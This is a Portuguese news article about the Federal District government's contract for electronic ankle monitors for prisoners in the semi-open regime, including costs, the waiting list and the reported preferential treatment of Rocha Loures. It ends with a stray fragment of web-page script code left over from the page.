A Secretaria de Segurança Pública do Distrito Federal contratou por R$ 11,6 milhões ao ano uma nova empresa para fornecer tornozeleiras eletrônicas e estrutura necessária para o monitoramento de presos. Cerca de 600 detentos aguardam na fila para receber o equipamento e serem monitorados durante o regime semi-aberto. A expectativa do Governo é de que até o final de agosto o sistema comece a funcionar .
Fila pela qual não passou o ex-assessor do presidente Michel Temer (PMDB), Rocha Loures – preso em 3 de junho. Segundo o Ministério Público, Loures foi privilegiado ao receber tornozeleira eletrônica para voltar para casa após decisão do Supremo Tribunal Federal (STF) no último dia 30, mesmo com o equipamento em falta na Justiça do DF.
O contrato com a empresa vencedora da licitação que vai implantar o projeto de monitoração eletrônica no Distrito Federal foi assinado pela Secretaria da Segurança Pública e da Paz Social na segunda-feira (3) e publicado na edição desta quarta-feira (5) do Diário Oficial do DF. A expectativa do governo é diminuir a superlotação penitenciária. Ao todo, seis mil tornozeleiras podem ser solicitadas pela Justiça a cada ano.
Cada tornozeleira, junto com todo o serviço contratado, vai custar, ao mês, R$ 161,92, ou seja, se forem adquiridas as 6 mil o valor anual chegará a R$ 11,6 milhões. Hoje, o custo mensal com cada custodiado gira em torno de 1,7 mil reais mensais, o que inclui, por exemplo, gastos com alimentação, luz e água. O DF possui 15 mil internos nas seis unidades prisionais.d.getElementsByTagName(\’head\’)[0].appendChild(s);